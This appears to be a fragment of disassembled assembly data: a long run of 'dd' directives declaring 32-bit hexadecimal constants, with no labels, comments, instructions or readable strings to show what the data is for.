dd 4A35F132h, 0AE1874D9h, 51621ECBh, 7795ECFEh, 12FB5B68h
dd 0DB902412h, 63D220AAh, 0D4A76F51h, 0C7DAEC92h, 0BBBD1DEAh
dd 32027905h, 0BE27D595h, 277AE235h, 0ECF628A1h, 6CFB3539h
dd 0FDD21274h, 0C26811CAh, 0BFAEE4D0h, 80479BFDh, 6DA4840Ah
dd 6CC4DE0Fh, 374B0E21h, 1641B6A0h, 548B5AEFh, 0E6AA5D87h
dd 0C62DE71Fh, 355722D7h, 22D0DC88h, 2333CDFEh, 7EC5DFAEh
dd 0E01A62E4h, 0B270406Ah, 0B8C4738Fh, 0C478A919h, 88CB89F9h
dd 3F66400Bh, 9C4499A6h, 90D2E0F6h, 7C0D3A49h, 240A39FFh
dd 54DF78C5h, 312FEA9Ah, 768760Dh, 0C9880464h, 0D1490010h
dd 3A0617C3h, 55C02F96h, 6F028952h, 14C85C8Eh, 81DE42FBh
dd 0D4893A51h, 8A01AF9h, 0EA3FC59h, 3ED48E7Ah, 9C1CCD47h
dd 532ADEFAh, 0C156D3A4h, 9459ADC4h, 7099D551h, 0ED360194h
dd 921698AEh, 23FFA28Eh, 0DA1A6F6Dh, 0F47DC11Bh, 75241ABFh
dd 12537F52h, 41563DFAh, 0F01F6CC1h, 35051B22h, 72924832h
dd 796FD455h, 0B32CECA4h, 487F6829h, 3B5CDDAEh, 9DC350B7h
dd 2DD867BEh, 4443FB38h, 62B0AC8Bh, 0D9D18Fh, 771A8957h
dd 0E0840540h, 0CB3D449Bh, 700A6Eh, 4E787C7Eh, 5B6ED6EAh
dd 0B840412Ah, 8CC38D85h, 3545E92Dh, 0CE53AACFh, 6AB0DA1Dh
dd 5824F489h, 18C84B67h, 0A9F7A2C1h, 69C8FAFCh, 2706323h
dd 0CE8C9203h, 69FCB9B0h, 0D0191E9Ch, 8598EA1Dh, 31D7091Bh
dd 0B73D9E67h, 0A7865A61h, 3B96FF71h, 28BE7DB0h, 0E3560EA7h
dd 396274A3h, 0E6549A63h, 0B6DFCAC4h, 0C48BB0D4h, 0F7160ED3h
dd 31A2F3EEh, 97495489h, 0EF1F93B6h, 0DFE5710Dh, 0DBB69CAh
dd 83BD4719h, 5827D60Ch, 490512ACh, 5C7A2D51h, 9C1DC10h
dd 3256A21Ch, 18B27D90h, 2D21586h, 7CF5CA5Fh, 500A9549h
dd 0E4F6908Fh, 93EBCC90h, 2B8F0AA4h, 0E0A8D6Bh, 0D9638E0h
dd 6EAFF004h, 0A671E504h, 412267E2h, 0A30345AAh, 0C104E921h
dd 155035C8h, 0A38CAF83h, 6CAE012Ah, 0EDCC39F0h, 434DC6F7h
dd 0CA72BF7Fh, 0CBAB191Fh, 9F7900B9h, 6251876Fh, 0CF8BF8ECh
dd 8B87AEBDh, 4308B414h, 4410FB84h, 0F6429BDCh, 0CB15A960h
dd 0F028EEFCh, 0BC773DDh, 99CBBC3Dh, 0ED48862Bh, 7E851F88h
dd 7F048F34h, 26BB5633h, 0CE01C5F8h, 6A3E4D2Bh, 0A4942595h
dd 4A35B440h, 0B1505ADh, 0AC1C1974h, 0A1B94228h, 0E2C07ADEh
dd 6FCBAA7Bh, 0AC20602Bh, 5DAF995h, 0D7B32E02h, 0D6E8F01Eh
dd 1F8B352Dh, 34BA7563h, 0F71CE471h, 4AB555E6h, 618DAA11h
dd 0EFC6E3E2h, 373BA8B1h, 6B47DC68h, 4C705E8Ah, 4B224D21h
dd 0B62B1658h, 35546516h, 752DB754h, 0FA81AC6h, 6DDF54FCh
dd 1F220AAEh, 9EDF3686h, 1DE9A165h, 2986963Dh, 0B8C4AB31h
dd 0AE894C62h, 5C3B215Ah, 0A6B8B180h, 50366C88h, 1EF6823Bh
dd 66092471h, 55748A2h, 0F575C435h, 0AC6E46D8h, 0BA0234Dh
dd 98C4ED6Ch, 0A995F2ABh, 8BF52BCFh, 19AD94FEh, 2E86A355h
dd 46CF6613h, 0EC1E979Eh, 3D9DE784h, 0D426A40Ch, 0B9E7896Bh
dd 1E110F7Fh, 5AFA4239h, 4F5A8CD7h, 0C0AB3EC7h, 57B25139h
dd 287ED094h, 0FC85E4FBh, 10EF4CDEh, 0F08EB1CDh, 61E66F1h
dd 0F2EF5D8Fh, 0B655713Fh, 0E34ACE28h, 35D26015h, 7B76BFF0h
dd 81608012h, 9D3E8BECh, 3C12BDD9h, 0F39DC5h, 0A51DE0A2h
dd 0F43392FCh, 0C0564443h, 93DD4AE1h, 26B2875Dh, 8CCE1DF1h
dd 0E792B1EBh, 20CFC758h, 3058A1E2h, 3BDB3E9Eh, 6E66F013h
dd 491A9CCBh, 8D67CD7Dh, 0A73F9080h, 22193FD2h, 0F8AFB774h
dd 78036C63h, 0D4673DF0h, 871A2F87h, 12B20D7Eh, 6895448Ah
dd 0E4C5D9D2h, 4281A614h, 9AEEB486h, 74AB8B71h, 2E6B6B4Dh
dd 82FEC4A3h, 45C8CD2h, 66174673h, 0F3FD3CE0h, 0EF571DB8h
dd 56FF75F3h, 131B1B3Dh, 44A78E78h, 0D20A059Fh, 0A7C88B6Bh
dd 0E772F13Ch, 0D8DDE739h, 185F90BEh, 4AE0C345h, 9084217Eh
dd 2EE2ECDh, 92D97C9Bh, 8A048562h, 6362FD50h, 467D0B9Ch
dd 2AA4E50Ch, 0E7C5DD6Eh, 0C42EA74Ah, 713FAE9Eh, 0D724D084h
dd 8B1972BBh, 61945574h, 0FCD77B7Ch, 62CD174Bh, 3E3636E7h
dd 545E73ABh, 0DFFD2656h, 1F54B03Fh, 75F8E8FFh, 688E232Dh
dd 653642EEh, 0BB94C1F2h, 6FF8981Eh, 36C84118h, 55050511h
dd 0E9490FCCh, 0DC90C563h, 44C05CB8h, 0AF03235Dh, 19F27A40h
dd 4617CFE1h, 9049D691h, 0B5DF2B34h, 6D6C370h, 196DA352h
dd 6494F924h, 0DFE978F9h, 0DC947727h, 0ACFAC66Dh, 703D5621h
dd 84CC77BDh, 26FDE30Eh, 538B17A6h, 6A0E6853h, 0F55D10B5h
dd 400451A0h, 65566F77h, 0B26E3274h, 7C5F1F52h, 0CCD3EA4Eh
dd 0F08B2039h, 0CAE5BA6Ah, 358F818Ah, 32E337B6h, 5DF5CEDFh
dd 0C441549Ah, 879F6485h, 21569A72h, 0D8F00E04h, 33DD8FB4h
dd 0CFD44ACh, 1B73E3B2h, 0FD693AE2h, 0BDD7E3A8h, 0BE69C6BFh
dd 0FC956EFFh, 0ED3B3771h, 0E79DF155h, 76081213h, 80B62538h
dd 0E2077437h, 115C3B2Ah, 9FD05F4h, 0BA8701B0h, 0FA55FF1Eh
dd 645A5D91h, 0AE26490Fh, 0E8868F3h, 0ECF2E717h, 2D775713h
dd 0E3119608h, 1DE37CBFh, 0E758DF44h, 0AC244B98h, 0D5DC2934h
dd 2D5DD7B8h, 21FD7A0h, 0C08D5554h, 0FFCF4C66h, 83CF0232h
dd 47A5C084h, 0D6DF578Ch, 73CC53F5h, 763C9E5Dh, 0F8EF6E38h
dd 57B26528h, 55C320D8h, 4B116418h, 730B27BEh, 94F28608h
dd 363F3DCEh, 0AB0F4C17h, 0CD2E7B58h, 2384864Dh, 0C31B8D1Ch
dd 6C32FF11h, 0A237E907h, 0CCC142C7h, 7398E724h, 1CA46AF4h
dd 2F9F4CA5h, 295E517h
dd 432FECCEh, 0C8D2B8D6h, 0CB154869h, 0D8FB61D7h, 99320491h
dd 0C05FE80Dh, 375E3ABDh, 8CA9F251h, 0B52F2BABh, 374B598Dh
dd 0DC83DD12h, 40D8ADD6h, 86ABE3F0h, 0EF2A9747h, 5701B2E5h
dd 712F149Dh, 570740Bh, 29954562h, 0CB0D2DE0h, 9CB134ACh
dd 44817FA8h, 0CF47F3F1h, 0C361AE3Fh, 0F5AECDAEh, 95A5368Dh
dd 2712C73h, 682BEE2Fh, 8E5131AFh, 6EA708FEh, 7C1C0C91h
dd 0C8515284h, 692D209Bh, 5D3C6DBBh, 900416FEh, 0E69179CEh
dd 0C066E897h, 37C4E8E5h, 15983DFFh, 3173635Eh, 57DE952Dh
dd 66464103h, 0FB189CA7h, 3330D667h, 0E5B86C70h, 357D45E8h
dd 4CC20F79h, 319E42CDh, 109BA3C4h, 0C8DD275Ch, 5A999D63h
dd 856F94C2h, 909036E7h, 9505A00Eh, 0DC89E41Dh, 3741B4C1h
dd 0B53AD6ABh, 0CE0A7C06h, 6F3752E3h, 3CBA3C09h, 46D9C71Bh
dd 0DE0CAED3h, 0D96D1B78h, 0C37DD1A8h, 587ACE83h, 4BEA45ACh
dd 0A47A61DBh, 73D9B3C7h, 8C59B27Eh, 39CD671Ch, 5680617h
dd 0D6F77549h, 0B4490738h, 3E890C68h, 42122198h, 0B32E4773h
dd 17A2B53Ah, 0A3A5EFEBh, 13897DCAh, 3AEB679Ah, 893D3178h
dd 0A7EDCD79h, 28B61E76h, 186D082Fh, 0E04323DCh, 1010E050h
dd 9CCDEEEDh, 0D3427916h, 0E4E617ACh, 491C199Dh, 0A557A4A0h
dd 932574A6h, 2AD91127h, 6B3AA4EFh, 94AB6B3Dh, 0ACAF6ED4h
dd 9A3E683Ah, 0C724424Bh, 8B94E215h, 5862E0B2h, 0B2292E9Ah
dd 62D5A455h, 602E7C21h, 0A952A3C8h, 1F8917Ah, 5235EDE1h
dd 3FE0C06Dh, 0B5DE127Dh, 2E019347h, 5DA62CA2h, 524F3F14h
dd 6A64B2B3h, 89548D4h, 0F336DE50h, 0AC9C8DE6h, 0E7DD6930h
dd 40C916E7h, 7CF7184Eh, 0FC530255h, 0D6DD5AB3h, 4CF9DE43h
dd 871B4851h, 6A27D743h, 0A3F7CDB4h, 0FD713736h, 80068627h
dd 0F151F0C7h, 0C626E3B2h, 0FD20BBFh, 9B71D23h, 774813D7h
dd 0A914B334h, 7F72AFE9h, 210F2561h, 9B34EAC3h, 0F2ACDF61h
dd 773C9F4Dh, 6DB6BCF6h, 0D3D73BB1h, 8301FC91h, 0B47960FCh
dd 35643A1Fh, 0D3A671DEh, 0CEE57899h, 9E0BF867h, 99D6B4F4h
dd 0D4A48236h, 304CC29Dh, 0D8ED58C2h, 0F5C77222h, 13272460h
dd 0B00DDE9Fh, 0A4A0E98Dh, 0D4F91801h, 43EFB33Eh, 4DA76887h
dd 0A13CEA90h, 0A362C01Fh, 37AC4BCDh, 2A75C948h, 0BAE67865h
dd 3B3C50FBh, 80DDC1DAh, 0C498011Bh, 4FBAA658h, 4FC8B390h
dd 2C5108D5h, 0CC21E1B7h, 0FF934143h, 8EBEA962h, 0FBDC7F7Bh
dd 285DA869h, 7D2584ABh, 70C75128h, 922A7F63h, 0C1054163h
dd 47F52E25h, 0E80ACBD4h, 0C25FF590h, 0F949EABEh, 602AA263h
dd 7E6357C4h, 7678AD80h, 76EE73h, 560E4C7Ah, 22815D08h
dd 0D7A94482h, 0F0E85FFBh, 10B60BF2h, 0AB75B799h, 0EFFAF8B2h
dd 3750822Fh, 4D944676h, 91CA23BEh, 5A932862h, 0AEE8D753h
dd 5CCD6036h, 5367462Bh, 0C15DDE10h, 0A35AB32Ch, 0E4885F1h
dd 65F61E58h, 7D01A45Ch, 0BEB1F629h, 0D664F816h, 0C9302F82h
dd 0C2F09C24h, 0F3A22E0Bh, 0FD9B615Dh, 0F58BA8B4h, 263D7B32h
dd 8BCC141Fh, 633183E9h, 863CD3BAh, 0A5AC17B6h, 4086B99Dh
dd 1AD1287Ch, 0C539F64Dh, 0E213DF6Dh, 21BE024Ah, 2E6FD7Fh
dd 8BAB50C7h, 2F0D80CCh, 0BE2B4220h, 0AB6293F4h, 32FAFA11h
dd 17A1124Eh, 0E2B85D82h, 0D846F58Ch, 789FE8E4h, 0DB4A6670h
dd 526DC02Ah, 59773DCCh, 2FB730Bh, 0BCC89868h, 79C6BD0Dh
dd 0EA43E70Eh, 47B679C4h, 9F84B358h, 15676BDh, 3B3CA5ABh
dd 0C35032F1h, 846AFBB0h, 846BA574h, 66DC0D5Bh, 0E3D9B403h
dd 0FE1DB662h, 0FAEFDC33h, 0F455E60Fh, 906F80CFh, 0B570ACF9h
dd 0C073B545h, 255248EAh, 2CD1A27Eh, 0D95C09A9h, 0B5D536BCh
dd 8191C2C6h, 0CE8F8E2Eh, 0E3D5620Bh, 0C18F02D7h, 8E8628F6h
dd 455E6EAAh, 4C7BBE04h, 65173B0Dh, 36DC941Eh, 7E17027Eh
dd 51F06A65h, 16EE77AEh, 0AC82CA81h, 0B6365D9Dh, 690611A5h
dd 903B8B2Fh, 8081D7FFh, 2CDCA92Bh, 0B097137h, 4EF62535h
dd 0E71989F3h, 2468D338h, 3A159474h, 39C185B4h, 844DE35Ch
dd 9A599C11h, 0EA8389ABh, 0E98012F1h, 9A8971F4h, 0F84D15CAh
dd 0A1D4E6EBh, 86AF9C80h, 0E3DAFFCCh, 5E88F7D2h, 769DEE83h
dd 0C03AB5F6h, 0F92C701h, 0A1D081B3h, 0D4CBDD34h, 89525CD1h
dd 0BE6D2EB0h, 0D4CC6002h, 78AB8453h, 49F1974Eh, 0F5F46F35h
dd 0E133ED0Bh, 95B3672Ch, 0B541C8FFh, 0B534EA32h, 0EA66B2h
dd 614A3624h, 2CB6081Bh, 0AB2F657Eh, 0F32B623h, 0F9874680h
dd 0FBF5D1B0h, 7D2E59D0h, 0EB84A6B4h, 8432C01Dh, 0ADA4B347h
dd 0BA540AEEh, 830CAC64h, 0C438A717h, 8D6C04EFh, 0DCAC206Bh
dd 679A8694h, 0AE1C7424h, 80F6A7CBh, 71538257h, 9F49C6CEh
dd 2E87C11Bh, 35D2205h, 0A132D0DAh, 0E515911Fh, 0D0CFDC4h
dd 9696D76Eh, 19088186h, 5DDA7DF2h, 1750D59Fh, 632FB3BFh
dd 7ACFBF6Fh, 0BC98B336h, 0A97BF316h, 0BE1D3481h, 77691515h
dd 0ABE93D01h, 0CD48EF5Ch, 0C3F71BBAh, 0FA8575C0h, 25BADC12h
dd 99305876h, 62A4E25Bh, 0EAD87180h, 48DD18A6h, 0A48BC741h
dd 33925EEEh, 1E98F6AEh, 0BE2FD55Fh, 0D2BCC0AEh, 58B0FAF0h
dd 0CC3FAC99h, 2090C20h, 49E07CB1h, 0BB426643h, 0A58C1606h
dd 7B2C58h, 54D20A6Fh, 502435E8h, 7C164C98h, 51CC59A7h
dd 4E16B7E8h, 344F7028h, 0CD0CBDE6h, 0BE0A4AFEh, 6D650F25h
dd 66D03DF8h, 5997037Fh, 0DAE5CBD5h, 8A789835h, 0D844793Dh
dd 42CB62A5h, 2DEC2B04h, 12EAB323h, 0AAAF2AA8h, 3B212EF6h
dd 578C14D5h, 0A44E1911h, 0B56262EBh, 38906451h, 96856E10h
dd 9C32D488h, 0B0FC2D62h, 0EA96FE30h, 6FA19F7Bh, 6B79323h
dd 0F1DB32EEh, 6AAE485Ah, 9478D11Eh, 222343B1h, 11BD4117h
dd 5E303343h, 2C65C10h, 13D78C02h, 0FEB1E12Dh, 769754ACh
dd 43BD09F4h, 0A7435202h, 77CA0E95h, 3908E47Fh, 0D923CAC8h
dd 0FBEA0F21h, 7F3E2E52h, 41575615h, 6680C82h, 90A314A1h
dd 92BCE240h, 2ED711FCh, 70E1E41Dh, 0C1E8FD0Fh, 69BFA47h
dd 933310F4h, 83D9C4CCh, 2FE93749h, 0CBD43188h, 8FCE73FBh
dd 4AF2B7B7h, 866A4FC8h, 0EBAE4182h, 0F4F70D15h, 54BE6CEBh
dd 0A7476112h, 7AEBA4F5h, 477E82CEh, 11E46C4Ah, 70DB57B2h
dd 13414131h, 8D199EDh, 2411F59h, 32B205F7h, 5E237D4Ch
dd 0E5B49B8Ah, 84F1FFD5h, 0B5D4EEBDh, 99EE4B2h, 0E627AB94h
dd 0DB4D9613h, 93D8DAB6h, 0A0E88CA2h, 29DD18EBh, 2019B1BFh
dd 3D55A5FFh, 0E446BBD7h, 17854911h, 0FBE5A220h, 0FBE580ADh
dd 0F966B27Ah, 0A1FD5F0Bh, 8F356C96h, 9185195Bh, 7362CF9Fh
dd 0F9E56D38h, 0B6B29B94h, 160244AEh, 75FC02F6h, 517C90E4h
dd 0AC6156Eh, 0DC321C17h, 72A55A89h, 7700EAF8h, 15670C8Eh
dd 542038A4h, 0DDE1B77Ch, 5E9611Ch, 0D9589A5Ah, 49783247h
dd 0E56ECA47h, 6DD378A6h, 0DD938222h, 0C375D644h, 8C1FDF9Bh
dd 6BDE5862h, 7C5629D1h, 0D605D9E9h, 99EF115Fh, 0B7A05581h
dd 0BB016B61h, 6CB42FDFh, 56B7D0B1h, 0D13F17DDh, 0FDB29625h
dd 772884E8h, 0D3ACCAE5h, 33A1567Ch, 7B1006ABh, 0E1A6430Dh
dd 4F4E9B96h, 0BA94CE69h, 0DD2BACE3h, 0BD5124Fh, 0BB3A17F9h
dd 6080E8E9h, 91B0F142h, 0E05BB956h, 9B5D5BCEh, 3DF40922h
dd 0F989F278h, 3B298915h, 0AE1A974Ch, 72C47C83h, 0C6D7A828h
dd 60165122h, 338433AEh, 44700850h, 0A0137074h, 19E33AA6h
dd 0C1875E34h, 679BAD78h
dd 2CC6B668h, 780F648Bh, 6113E84Ch, 31A153C2h, 0B23FC0E6h
dd 7D072828h, 5AEF187Fh, 0C8B1800h, 0F50C9695h, 59E93560h
dd 19C3B086h, 669AC0A3h, 0B05DAA57h, 0CF966AF5h, 0A3D089DCh
dd 0C2DD3369h, 0DF56C291h, 880E5ECFh, 25B373FBh, 78A09AE4h
dd 8B00D18Bh, 838A645Ch, 710D1F9h, 761A7D9Eh, 0B2FD60FFh
dd 0ACAC9F4Dh, 0AB46A757h, 11AE4B91h, 553943A2h, 2FCEC31Ah
dd 0F37BBF9Ch, 395D5B5h, 7CD9AD08h, 275D5171h, 6FF35F1Eh
dd 9C2BF3C8h, 4D72471h, 0B85DE5C6h, 0E4E95796h, 0D7E8953Ch
dd 0C63AE728h, 9955D81Ah, 0B3B7490Dh, 23817199h, 470DCA9Dh
dd 24E9ED49h, 0B3E36929h, 84EBDADAh, 0D0EDC6CBh, 502B9523h
dd 94CDBD7Fh, 0BCBA999Fh, 767E9C51h, 77C25924h, 2F31108Fh
dd 36DADF52h, 86A88B7Eh, 700FCEEAh, 59ED8537h, 8EB35F71h
dd 18574EA0h, 24C6C5BCh, 4EDA8024h, 0AD449727h, 533AFAC3h
dd 6B3FF89Ah, 0CAE0944Eh, 0A54F1F9Dh, 30898805h, 1DD83E3Ch
dd 1678A4AEh, 31542DB9h, 0D15F4EEDh, 0DBCAD620h, 0D928EEA6h
dd 26E17AD7h, 0DF3C824h, 4920B8B7h, 90C38363h, 4BF3E2A7h
dd 98AA6F2Dh, 3D6B6B46h, 69859786h, 8249C96Ch, 11111ACBh
dd 6A37324Ch, 301CEB02h, 0A08E3919h, 0FE464B2Dh, 885C1531h
dd 91AA70D8h, 0D54845C8h, 0CB8275E4h, 0AD10DCh, 632180E5h
dd 780B6200h, 5F7BADE3h, 0CF96B130h, 0C0D8494Eh, 227636FCh
dd 42870D52h, 92183E46h, 39DA22AEh, 610FBD22h, 6E00694Fh
dd 3D8078F4h, 97D6EB21h, 116C3D5Fh, 926FBF17h, 0F662F88Fh
dd 0A7C0151h, 9C9FAD96h, 7EE548D1h, 0D5166858h, 68D220A5h
dd 0AD23B934h, 0E9B5AE53h, 0C60E4720h, 0C2D92B8Eh, 27C5418Bh
dd 0D28E5503h, 0BDF5055Bh, 0FB6BB372h, 0DA96CA8Ah, 1FAAF8FEh
dd 2D58DE58h, 3C68BF3Dh, 1E4D70ECh, 1E621D33h, 0B13C5FDCh
dd 8100108h, 7A99894Eh, 7CA93422h, 0D36A1B3Fh, 389C1175h
dd 7EB37A97h, 0FB152A5Dh, 0F912F6Bh, 6C52F6A4h, 13D043A9h
dd 0C38C621Ah, 7A127C7Fh, 41591F32h, 1A420F1Ch, 0F496DD52h
dd 5B01AAB7h, 4AFEF312h, 53146780h, 90BABFA6h, 99F8A61Bh
dd 637A42C9h, 0F5AE1160h, 0E374EC68h, 0F5750DDh, 801F677Ch
dd 89424164h, 75CAC927h, 99FAFEAFh, 0D71FEA0Ah, 5CE54661h
dd 33AE7837h, 0C5767BE5h, 0B8E7AEE2h, 1949A1BDh, 33EDEE4h
dd 3F68F108h, 8AE411Fh, 0A46FC2B6h, 0C2442345h, 0E307B675h
dd 153201F7h, 4828396Ch, 9BC73946h, 42C95FF6h, 0D3660198h
dd 39AA3E86h, 0EDA4FA0Bh, 235306A9h, 2CE8466Ah, 85AC0F59h
dd 35818E37h, 0B56AA8D8h, 0FFF96CD1h, 138F5B5Dh, 754AE29Dh
dd 19CCDBD0h, 499CF525h, 0D50FD6Ah, 0FD7B2ACh, 0B8DF8F9Ch
dd 0CE1D99E0h, 0A6FD6F9Eh, 8AFABD6Ch, 573CCEF6h, 4ABE7C6Ch
dd 0C923A2FFh, 36317880h, 86A94E0Dh, 3FE34FE9h, 0D847C3FEh
dd 0B84968B6h, 5ED380Bh, 0D59F969Ch, 0D7CE5E5Bh, 0EFC0EFC6h
dd 4F25F3EFh, 0C5E531C1h, 0F66C6C60h, 9B0426B7h, 11B351C7h
dd 912F361Ch, 49954CEEh, 4957ED5Ch, 0D2E706FCh, 577FB714h
dd 32C5CFB9h, 9C71740Ch, 2455EE44h, 51CFF9B1h, 0A31912AEh
dd 92D1ED4Bh, 0DF475926h, 60EF8E08h, 2CB3E10Eh, 0DF16812Fh
dd 0FB719B37h, 0D3728B7Ah, 6CBBDEDCh, 1314723Fh, 7C7EB32Ch
dd 26B2BAF0h, 0DE74DB57h, 8BB2C920h, 0D550ACB0h, 3CFC37FBh
dd 525FA764h, 6A6CF5E3h, 9A47B85Bh, 46395E25h, 0B8C09A64h
dd 0DF02416h, 4D2F41D7h, 2ADB65D5h, 4A1A083Ah, 46542EAAh
dd 8D02FF84h, 762BF201h, 2E74396Bh, 75F8F119h, 3C02C657h
dd 2E6DD705h, 8E840196h, 23A7243Fh, 0B3E17CF8h, 2C31D00Ch
dd 0C3D692B3h, 0D54707E4h, 6E0BDCAAh, 0F07BE73Ch, 71958DEFh
dd 0A76C32CAh, 0DE18F3C9h, 0F73532DBh, 9AE7074Dh, 0CD3DBC73h
dd 0C25E2FDEh, 2BB2D724h, 96AB1879h, 47B1B991h, 0CC9B0C89h
dd 57F7B268h, 40E2651Eh, 0B1D0DE97h, 1DAC3AC9h, 0B6DD7AF0h
dd 470EF505h, 60333C47h, 2CBE1E20h, 6B38F2A8h, 0CCA141CBh
dd 77EA6594h, 8CB698E9h, 50D088A7h, 52543813h, 7639398Dh
dd 3401B258h, 21B3F893h, 32B5197Bh, 0F9031230h, 2693218h
dd 0FB441DB9h, 0D62D7E25h, 0E97570C8h, 7C26792Bh, 1D56195h
dd 4AB6430Ch, 426BA44Eh, 0B68A4CAh, 0C312A4F7h, 0EF98B9ABh
dd 0DCCCC10Ch, 94255830h, 0EA7637D3h, 5CB98B3Dh, 71E5A8F7h
dd 1F8849F7h, 0E254ED75h, 4F4648DFh, 0AE3C841Dh, 394BAC79h
dd 0AF053952h, 5058ECB9h, 20AF66D0h, 74F2A90Bh, 0AFB5E7C2h
dd 90126FFFh, 0DBE747B7h, 0F3165E3Ch, 0ABFCE3D4h, 2ACF2BA0h
dd 1F370A4Dh, 549833E4h, 13A4CE73h, 0BAF64396h, 740C9B7Fh
dd 0E14D5C47h, 0E851CF1Dh, 0C1020D2Fh, 9B28A309h, 0AAB093BDh
dd 0BBA6AA9Eh, 6F59FC1Bh, 64D2184Ch, 0F68654D8h, 4C06F8DAh
dd 6D49704Bh, 0D133DE92h, 3F048D0Bh, 5230E2A0h, 850D88ACh
dd 18192142h, 2B1E817Eh, 0A1837CA5h, 0A741B65h, 403D5AE7h
dd 85C0E0FDh, 0E678CAD1h, 0D499D914h, 0DDAE3272h, 0CF055F07h
dd 76BE2941h, 0D000CD16h, 0B3349DB1h, 0C961032h, 372632FEh
dd 28A5BFA4h, 51A8902h, 82A3504Ah, 0A7449C33h, 6CD47E9Fh
dd 7FE4FCCFh, 15ACE468h, 0C75353B0h, 9A8F2D43h, 27CF6858h
dd 610CAECDh, 96AC9D2Ah, 9FE37A26h, 1F891EEh, 5FC81A24h
dd 9F1A6BA4h, 75191D23h, 90DDA7F7h, 0DB26C0F0h, 3B04688Bh
dd 0E9AE4D01h, 3D7B475Fh, 63959574h, 0A2A9BB22h, 1341930Fh
dd 0A53F4E86h, 47364CE3h, 0C57F4F71h, 7BE3585Dh, 0EA9217B2h
dd 92DE6EA3h, 3F05EAC8h, 0FF1D602Fh, 88ADF40Eh, 0C62B8D54h
dd 0DD5D2081h, 0C69253E4h, 855AE165h, 7F893B51h, 59AAF9D1h
dd 18385522h, 43A88D36h, 7CD05802h, 0EBC7BB90h, 6D356DD4h
dd 9292E7E8h, 44A3F5BDh, 0FD9FD566h, 53FCDE78h, 2526B40Ah
dd 1B38DE21h, 0D25E5D5Fh, 6CC84747h, 250D87B5h, 0F94D7DD4h
dd 0A2046B5Eh, 8C47A366h, 0AC6B53A8h, 0FF474B0Dh, 189DF40h
dd 0B7299475h, 0A3F915F9h, 0B4174B43h, 39955967h, 5188E739h
dd 0D9951B50h, 6D7B0CE5h, 225FD74Bh, 735911ACh, 87F56ACCh
dd 3A5F8635h, 6B7C058Bh, 0F5ACB0DBh, 0FB8AB68h, 0DBA9B00h
dd 868D81D5h, 1BB28157h, 7601295Fh, 27CBEB6Ah, 49208B41h
dd 9D2B7090h, 3D13CAA3h, 8867B354h, 0F187E502h, 180F4136h
dd 466E5C89h, 7FED2F69h, 0D5716B98h, 6A90834Ah, 369342F1h
dd 991A59AFh, 6EEFC969h, 0B74E1E52h, 928B303Eh, 63F0D1B8h
dd 0A51FB9D6h, 0DEECB570h, 46700D56h, 8F50CCA5h, 0A303C31Fh
dd 0D6CFC7E6h, 0F96B122Fh, 53B1CF7Ch, 0E9CB487Ah, 0F9B7B6CCh
dd 0D51129D3h, 169E4C02h, 0A557B6Dh, 0D689885Bh, 797AD4CFh
dd 552011E5h, 84651866h, 552450A3h, 0CD15B9B4h, 1F8BED6Bh
dd 9DA483E4h, 0AA4C7E7Bh, 0ACDCB96Eh, 677C1EC5h, 0B8DD9630h
dd 8D6DD3Eh, 75FBC508h, 7C6416C0h, 41C971D2h, 4B4FE860h
dd 2CE6030Ah, 16FF47B0h, 57E25046h, 0E6A4A930h, 0ECE20141h
dd 0E4F84020h, 3C85D5E6h, 18D9F86Fh, 1B9EC43Bh, 7D647C35h
dd 0F15F12FEh, 0D65B3F25h, 0F7C0F7E6h, 0E7EF6271h, 0D815923Eh
dd 8917F39Eh, 0CCCEC23h, 3D7BE0DFh, 8F2195CAh, 0ACFBB060h
dd 0ED25B006h, 2DE34CB1h, 45AA3FB5h, 5D1E4FDFh, 1329465Dh
dd 0A426D2D3h, 6873AAA7h, 7118417Eh, 0C8D7CC5h, 0E8A8ED3Dh
dd 4F297902h, 0DF84A38Fh
dd 0C073619Eh, 80AE9DF8h, 9853F7B3h, 44EF45CBh, 55C3775Ch
dd 0EFF27453h, 0F66435C5h, 0E38356CDh, 0D330A3B5h, 83A43754h
dd 0EA0C2B8Eh, 898FBCE1h, 0E534E34h, 2A4BC232h, 8CC1760Dh
dd 3391000Fh, 735FB81Dh, 0D3E66190h, 0C306053Bh, 42263ED9h
dd 0ED72A2CDh, 8C20545Dh, 0CCB35AE1h, 0AC88A884h, 2E23A943h
dd 261736FBh, 0DC20C3F1h, 0D7C9D322h, 0D982CA85h, 0E795644Ch
dd 64234BDDh, 10F8A48Ch, 7E65200Dh, 9FD914ECh, 9259083Eh
dd 4924C1E2h, 0CFB85ECEh, 0B2E0DF4h, 503B31B0h, 0AF778C8Dh
dd 0CC8C02CFh, 33917C92h, 456180B9h, 0FFBED605h, 71403034h
dd 5F44A3Ah, 3F66E95h, 3B8F5D0Dh, 0BFEDEA1Ch, 8E26C235h
dd 2007B0B4h, 1AF8D2B6h, 0A39C5566h, 0D241EC83h, 648689B4h
dd 450B41CEh, 190EEB3Bh, 6CD0BB9Bh, 0A9348CD0h, 8B14DC12h
dd 0DA94A958h, 0F3090CA6h, 28138168h, 0E2A1AFE5h, 0B66F04D3h
dd 0AB277811h, 7E553E7Fh, 0A1C2B7C4h, 0AABEDD6Ch, 224759ACh
dd 6D5A95F9h, 46D0C0D1h, 1C870C98h, 79C7D24Ch, 27F24DABh
dd 72ADC584h, 8338A0FCh, 3287E9D7h, 25E0B2DCh, 9E043E5Fh
dd 5188CDBDh, 4254C849h, 0EF9300ADh, 0C0E2936Ch, 0DBB10A96h
dd 0A5FF125Bh, 40789124h, 9A9484B7h, 0FCE5FCEh, 905709E5h
dd 0D527A548h, 0DC6A0E0h, 82C46A34h, 0BDF53D7Ch, 8CF9078Eh
dd 0E562057Dh, 34366025h, 9F9CF60Bh, 0B1EB6DAAh, 0A70F97E2h
dd 693BBDA4h, 72797C80h, 0D4A4AACEh, 0AE6E8233h, 6A813CD1h
dd 5A276377h, 3AF33B1Fh, 186B63D0h, 3CB34F2Ah, 95CAF618h
dd 0D91CF7AFh, 8BC9FDF4h, 2BE74FEDh, 466906BFh, 1008FA8Ch
dd 91F46044h, 64F2ABBCh, 7843A5C5h, 94A09B56h, 0D16D80EEh
dd 0B522D502h, 2832475Eh, 0D72C1049h, 98E1720Dh, 63F524BAh
dd 24933755h, 93DC33Bh, 839F487Fh, 0B9356553h, 0EFD79A91h
dd 6666B33Ah, 5604C350h, 6707CDD2h, 15E288Bh, 5DA2B0A3h
dd 1132D483h, 943B25C8h, 0A4B92DA9h, 2F4527A0h, 0CFC75465h
dd 194993C9h, 28C746CBh, 1DADF414h, 146ED358h, 0F7472527h
